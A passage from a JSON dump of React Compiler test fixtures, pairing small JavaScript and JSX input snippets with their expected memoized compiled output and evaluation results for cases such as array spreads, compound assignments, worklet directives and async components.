 } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let rest;\n  if ($[1] !== props.array) {\n    [, ...rest] = props.array;\n\n    rest.push(x);\n    $[1] = props.array;\n    $[2] = rest;\n  } else {\n    rest = $[2];\n  }\n  const rest_0 = rest;\n  let t1;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <ValidateMemoization inputs={[]} output={x} />;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  let t2;\n  if ($[4] !== props.array) {\n    t2 = [props.array];\n    $[4] = props.array;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  let t3;\n  if ($[6] !== rest_0 || $[7] !== t2) {\n    t3 = (\n      <>\n        {t1}\n        <ValidateMemoization inputs={t2} output={rest_0} />\n      </>\n    );\n    $[6] = rest_0;\n    $[7] = t2;\n    $[8] = t3;\n  } else {\n    t3 = $[8];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ array: [0, 1, 2] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div><div>{\"inputs\":[[0,1,2]],\"output\":[1,2,{\"a\":0,\"b\":\"value1\",\"c\":true}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-spread-creates-array.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  // Should memoize independently\n  const x = useMemo(() => makeObject_Primitives(), []);\n\n  const rest = useMemo(() => {\n    const [_, ...rest] = props.array;\n\n    // Should be inferred as Array.proto.push which doesn't mutate input\n    rest.push(x);\n    return rest;\n  });\n\n  return (\n    <>\n      <ValidateMemoization inputs={[]} output={x} />\n      <ValidateMemoization inputs={[props.array]} output={rest} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{array: [0, 1, 2]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const a = [props.a, props.b, 'hello'];\n  const x = a.length;\n  const y = a.push;\n  return {a, x, y, z: a.concat};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: [1, 2], b: 2}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b) {\n    t0 = [props.a, props.b, \"hello\"];\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const a = t0;\n  const x = a.length;\n  const y = a.push;\n  let t1;\n  if ($[3] !== a || $[4] !== x || $[5] !== y) {\n    t1 = { a, x, y, z: a.concat };\n    $[3] = a;\n    $[4] = x;\n    $[5] = y;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: [1, 2], b: 2 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":[[1,2],2,\"hello\"],\"x\":3,\"y\":\"[[ function params=1 ]]\",\"z\":\"[[ function params=1 ]]\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.js",
    "content": "function Component(props) {\n  const a = [props.a, props.b, 'hello'];\n  const x = a.length;\n  const y = a.push;\n  return {a, x, y, z: a.concat};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: [1, 2], b: 2}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const a = [props.a, props.b, 'hello'];\n  const x = a.push(42);\n  const y = a.at(props.c);\n\n  return {a, x, y};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2, c: 0}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(11);\n  let a;\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b) {\n    a = [props.a, props.b, \"hello\"];\n    t0 = a.push(42);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = a;\n    $[3] = t0;\n  } else {\n    a = $[2];\n    t0 = $[3];\n  }\n  const x = t0;\n  let t1;\n  if ($[4] !== a || $[5] !== props.c) {\n    t1 = a.at(props.c);\n    $[4] = a;\n    $[5] = props.c;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  const y = t1;\n  let t2;\n  if ($[7] !== a || $[8] !== x || $[9] !== y) {\n    t2 = { a, x, y };\n    $[7] = a;\n    $[8] = x;\n    $[9] = y;\n    $[10] = t2;\n  } else {\n    t2 = $[10];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1, b: 2, c: 0 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":[1,2,\"hello\",42],\"x\":4,\"y\":1}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.js",
    "content": "function Component(props) {\n  const a = [props.a, props.b, 'hello'];\n  const x = a.push(42);\n  const y = a.at(props.c);\n\n  return {a, x, y};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2, c: 0}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// arrayInstance.push should have the following effects:\n//  - read on all args (rest parameter)\n//  - mutate on receiver\nfunction Component(props) {\n  const x = foo(props.x);\n  const y = {y: props.y};\n  const arr = [];\n  arr.push({});\n  arr.push(x, y);\n  return arr;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // arrayInstance.push should have the following effects:\n//  - read on all args (rest parameter)\n//  - mutate on receiver\nfunction Component(props) {\n  const $ = _c(8);\n  let t0;\n  if ($[0] !== props.x) {\n    t0 = foo(props.x);\n    $[0] = props.x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] !== props.y) {\n    t1 = { y: props.y };\n    $[2] = props.y;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const y = t1;\n  let arr;\n  if ($[4] !== x || $[5] !== y) {\n    arr = [];\n    let t2;\n    if ($[7] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t2 = {};\n      $[7] = t2;\n    } else {\n      t2 = $[7];\n    }\n    arr.push(t2);\n    arr.push(x, y);\n    $[4] = x;\n    $[5] = y;\n    $[6] = arr;\n  } else {\n    arr = $[6];\n  }\n  return arr;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.js",
    "content": "// arrayInstance.push should have the following effects:\n//  - read on all args (rest parameter)\n//  - mutate on receiver\nfunction Component(props) {\n  const x = foo(props.x);\n  const y = {y: props.y};\n  const arr = [];\n  arr.push({});\n  arr.push(x, y);\n  return arr;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-later-mutated.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useBar({arg}) {\n  /**\n   * Note that mutableIterator is mutated by the later object spread. Therefore,\n   * `s.values()` should be memoized within the same block as the object spread.\n   * In terms of compiler internals, they should have the same reactive scope.\n   */\n  const obj = {};\n  const s = new Set([obj, 5, 4]);\n  const mutableIterator = s.values();\n  const arr = [...mutableIterator];\n\n  obj.x = arg;\n  return arr;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useBar,\n  params: [{arg: 3}],\n  sequentialRenders: [{arg: 3}, {arg: 3}, {arg: 4}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useBar(t0) {\n  const $ = _c(2);\n  const { arg } = t0;\n  let arr;\n  if ($[0] !== arg) {\n    const obj = {};\n    const s = new Set([obj, 5, 4]);\n    const mutableIterator = s.values();\n    arr = [...mutableIterator];\n\n    obj.x = arg;\n    $[0] = arg;\n    $[1] = arr;\n  } else {\n    arr = $[1];\n  }\n  return arr;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useBar,\n  params: [{ arg: 3 }],\n  sequentialRenders: [{ arg: 3 }, { arg: 3 }, { arg: 4 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"x\":3},5,4]\n[{\"x\":3},5,4]\n[{\"x\":4},5,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-later-mutated.js",
    "content": "function useBar({arg}) {\n  /**\n   * Note that mutableIterator is mutated by the later object spread. Therefore,\n   * `s.values()` should be memoized within the same block as the object spread.\n   * In terms of compiler internals, they should have the same reactive scope.\n   */\n  const obj = {};\n  const s = new Set([obj, 5, 4]);\n  const mutableIterator = s.values();\n  const arr = [...mutableIterator];\n\n  obj.x = arg;\n  return arr;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useBar,\n  params: [{arg: 3}],\n  sequentialRenders: [{arg: 3}, {arg: 3}, {arg: 4}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-mutable-iterator.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * TODO: object spreads should have conditionally mutate semantics\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) [3,1,5,4]\n *   [3,1,5,4]\n *   [4,1,5,4]\n *   Forget:\n *   (kind: ok) [3,1,5,4]\n *   [3,1,5,4]\n *   [4]\n */\n\nfunction useBar({arg}) {\n  'use memo';\n\n  /**\n   * Note that mutableIterator is mutated by the later object spread. Therefore,\n   * `s.values()` should be memoized within the same block as the object spread.\n   * In terms of compiler internals, they should have the same reactive scope.\n   */\n  const s = new Set([1, 5, 4]);\n  const mutableIterator = s.values();\n\n  return [arg, ...mutableIterator];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useBar,\n  params: [{arg: 3}],\n  sequentialRenders: [{arg: 3}, {arg: 3}, {arg: 4}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * TODO: object spreads should have conditionally mutate semantics\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) [3,1,5,4]\n *   [3,1,5,4]\n *   [4,1,5,4]\n *   Forget:\n *   (kind: ok) [3,1,5,4]\n *   [3,1,5,4]\n *   [4]\n */\n\nfunction useBar(t0) {\n  \"use memo\";\n  const $ = _c(2);\n  const { arg } = t0;\n  let t1;\n  if ($[0] !== arg) {\n    const s = new Set([1, 5, 4]);\n    const mutableIterator = s.values();\n    t1 = [arg, ...mutableIterator];\n    $[0] = arg;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useBar,\n  params: [{ arg: 3 }],\n  sequentialRenders: [{ arg: 3 }, { arg: 3 }, { arg: 4 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [3,1,5,4]\n[3,1,5,4]\n[4,1,5,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-mutable-iterator.js",
    "content": "/**\n * TODO: object spreads should have conditionally mutate semantics\n *   Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) [3,1,5,4]\n *   [3,1,5,4]\n *   [4,1,5,4]\n *   Forget:\n *   (kind: ok) [3,1,5,4]\n *   [3,1,5,4]\n *   [4]\n */\n\nfunction useBar({arg}) {\n  'use memo';\n\n  /**\n   * Note that mutableIterator is mutated by the later object spread. Therefore,\n   * `s.values()` should be memoized within the same block as the object spread.\n   * In terms of compiler internals, they should have the same reactive scope.\n   */\n  const s = new Set([1, 5, 4]);\n  const mutableIterator = s.values();\n\n  return [arg, ...mutableIterator];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useBar,\n  params: [{arg: 3}],\n  sequentialRenders: [{arg: 3}, {arg: 3}, {arg: 4}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  'use strict';\n  let [count, setCount] = React.useState(0);\n  const update = () => {\n    'worklet';\n    setCount(count => count + 1);\n  };\n  return <button onClick={update}>{count}</button>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  \"use strict\";\n  const $ = _c(3);\n\n  const [count, setCount] = React.useState(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      \"worklet\";\n\n      setCount(_temp);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const update = t0;\n  let t1;\n  if ($[1] !== count) {\n    t1 = <button onClick={update}>{count}</button>;\n    $[1] = count;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\nfunction _temp(count_0) {\n  return count_0 + 1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.js",
    "content": "function Component() {\n  'use strict';\n  let [count, setCount] = React.useState(0);\n  const update = () => {\n    'worklet';\n    setCount(count => count + 1);\n  };\n  return <button onClick={update}>{count}</button>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo() {\n  const update = () => {\n    'worklet';\n    return 1;\n  };\n  return update;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction useFoo() {\n  const update = _temp;\n\n  return update;\n}\nfunction _temp() {\n  \"worklet\";\n  return 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.js",
    "content": "function useFoo() {\n  const update = () => {\n    'worklet';\n    return 1;\n  };\n  return update;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-with-implicit-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nconst Test = () => <div />;\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nconst Test = () => {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-with-implicit-return.js",
    "content": "// @compilationMode:\"infer\"\nconst Test = () => <div />;\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [props.x];\n  const index = 0;\n  x[index] *= 2;\n  x['0'] += 3;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 2}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.x) {\n    x = [props.x];\n\n    x[0] = x[0] * 2;\n    x[\"0\"] = x[\"0\"] + 3;\n    $[0] = props.x;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: 2 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [7]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-computed.js",
    "content": "function Component(props) {\n  const x = [props.x];\n  const index = 0;\n  x[index] *= 2;\n  x['0'] += 3;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 2}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction g(props) {\n  const a = {b: {c: props.c}};\n  a.b.c = a.b.c + 1;\n  a.b.c *= 2;\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: g,\n  params: [{c: 2}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction g(props) {\n  const $ = _c(2);\n  let a;\n  if ($[0] !== props.c) {\n    a = { b: { c: props.c } };\n    a.b.c = a.b.c + 1;\n    a.b.c = a.b.c * 2;\n    $[0] = props.c;\n    $[1] = a;\n  } else {\n    a = $[1];\n  }\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: g,\n  params: [{ c: 2 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":{\"c\":6}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-expression-nested-path.js",
    "content": "function g(props) {\n  const a = {b: {c: props.c}};\n  a.b.c = a.b.c + 1;\n  a.b.c *= 2;\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: g,\n  params: [{c: 2}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-in-nested-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useBar(props) {\n  let z;\n\n  if (props.a) {\n    if (props.b) {\n      z = baz();\n    }\n  }\n\n  return z;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useBar(props) {\n  const $ = _c(1);\n  let z;\n\n  if (props.a) {\n    if (props.b) {\n      let t0;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = baz();\n        $[0] = t0;\n      } else {\n        t0 = $[0];\n      }\n      z = t0;\n    }\n  }\n\n  return z;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-in-nested-if.js",
    "content": "function useBar(props) {\n  let z;\n\n  if (props.a) {\n    if (props.b) {\n      z = baz();\n    }\n  }\n\n  return z;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue-array.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const a = [[1]];\n  const first = a.at(0);\n  first.set(0, 2);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let a;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    a = [[1]];\n    const first = a.at(0);\n    first.set(0, 2);\n    $[0] = a;\n  } else {\n    a = $[0];\n  }\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue-array.js",
    "content": "function foo() {\n  const a = [[1]];\n  const first = a.at(0);\n  first.set(0, 2);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction g() {\n  const x = {y: {z: 1}};\n  x.y.z = x.y.z + 1;\n  x.y.z *= 2;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: g,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction g() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = { y: { z: 1 } };\n    x.y.z = x.y.z + 1;\n    x.y.z = x.y.z * 2;\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: g,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"y\":{\"z\":4}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations-complex-lvalue.js",
    "content": "function g() {\n  const x = {y: {z: 1}};\n  x.y.z = x.y.z + 1;\n  x.y.z *= 2;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: g,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction f() {\n  let x = 1;\n  x = x + 1;\n  x += 1;\n  x >>>= 1;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction f() {\n  return 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/assignment-variations.js",
    "content": "function f() {\n  let x = 1;\n  x = x + 1;\n  x += 1;\n  x >>>= 1;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/await-side-effecting-promise.expect.md",
    "content": "\n## Input\n\n```javascript\nasync function Component(props) {\n  const x = [];\n  await populateData(props.id, x);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nasync function Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.id) {\n    x = [];\n    await populateData(props.id, x);\n    $[0] = props.id;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/await-side-effecting-promise.js",
    "content": "async function Component(props) {\n  const x = [];\n  await populateData(props.id, x);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/await.expect.md",
    "content": "\n## Input\n\n```javascript\nasync function Component(props) {\n  const user = await load(props.id);\n  return <div>{user.name}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nasync function Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.id) {\n    t0 = await load(props.id);\n    $[0] = props.id;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const user = t0;\n  let t1;\n  if ($[2] !== user.name) {\n    t1 = <div>{user.name}</div>;\n    $[2] = user.name;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/await.js",
    "content": "async function Component(props) {\n  const user = await load(props.id);\n  return <div>{user.name}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState, useMemo} from 'react';\n\nfunction Component(props) {\n  const [x] = useState(0);\n  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n\nfunction Component2(props) {\n  const [x] = useState(0);\n  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState, useMemo } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  const [x] = useState(0);\n  let t0;\n  if ($[0] !== x) {\n    t0 = calculateExpensiveNumber(x);\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const expensiveNumber = t0;\n  let t1;\n  if ($[2] !== expensiveNumber) {\n    t1 = <div>{expensiveNumber}</div>;\n    $[2] = expensiveNumber;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nfunction Component2(props) {\n  const $ = _c(4);\n  const [x] = useState(0);\n  let t0;\n  if ($[0] !== x) {\n    t0 = calculateExpensiveNumber(x);\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const expensiveNumber = t0;\n  let t1;\n  if ($[2] !== expensiveNumber) {\n    t1 = <div>{expensiveNumber}</div>;\n    $[2] = expensiveNumber;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-import.js",
    "content": "import {useState, useMemo} from 'react';\n\nfunction Component(props) {\n  const [x] = useState(0);\n  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n\nfunction Component2(props) {\n  const [x] = useState(0);\n  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as React from 'react';\nimport {useState, useMemo} from 'react';\n\nfunction Component(props) {\n  const [x] = useState(0);\n  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n\nfunction Component2(props) {\n  const [x] = useState(0);\n  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);\n\n  return <div>{expensiveNumber}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as React from \"react\";\nimport { useState, useMemo } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  const [x] = useState(0);\n  let t0;\n  if ($[0] !== x) {\n    t0 = calculateExpensiveNumber(x);\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const expensiveNumber = t0;\n  let t1;\n  if ($[2] !== expensiveNumber) {\n    t1 = <div>{expensiveNumber}</div>;\n    $[2] = expensiveNumber;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nfunction Component2(props) {\n  const $ = _c(4);\n  const [x] = useState(0);\n  let t0;\n  if ($[0] !== x) {\n    t0 = calculateExpensiveNumber(x);\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const expensiveNumber = t0;\n  let t1;\n  if ($[2] !== expensiveNumber) {\n    t1 = <div>{expensiveNumber}</div>;\n    $[2] = expensiveNumber;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/babel-existing-react-kitchensink-import.js",
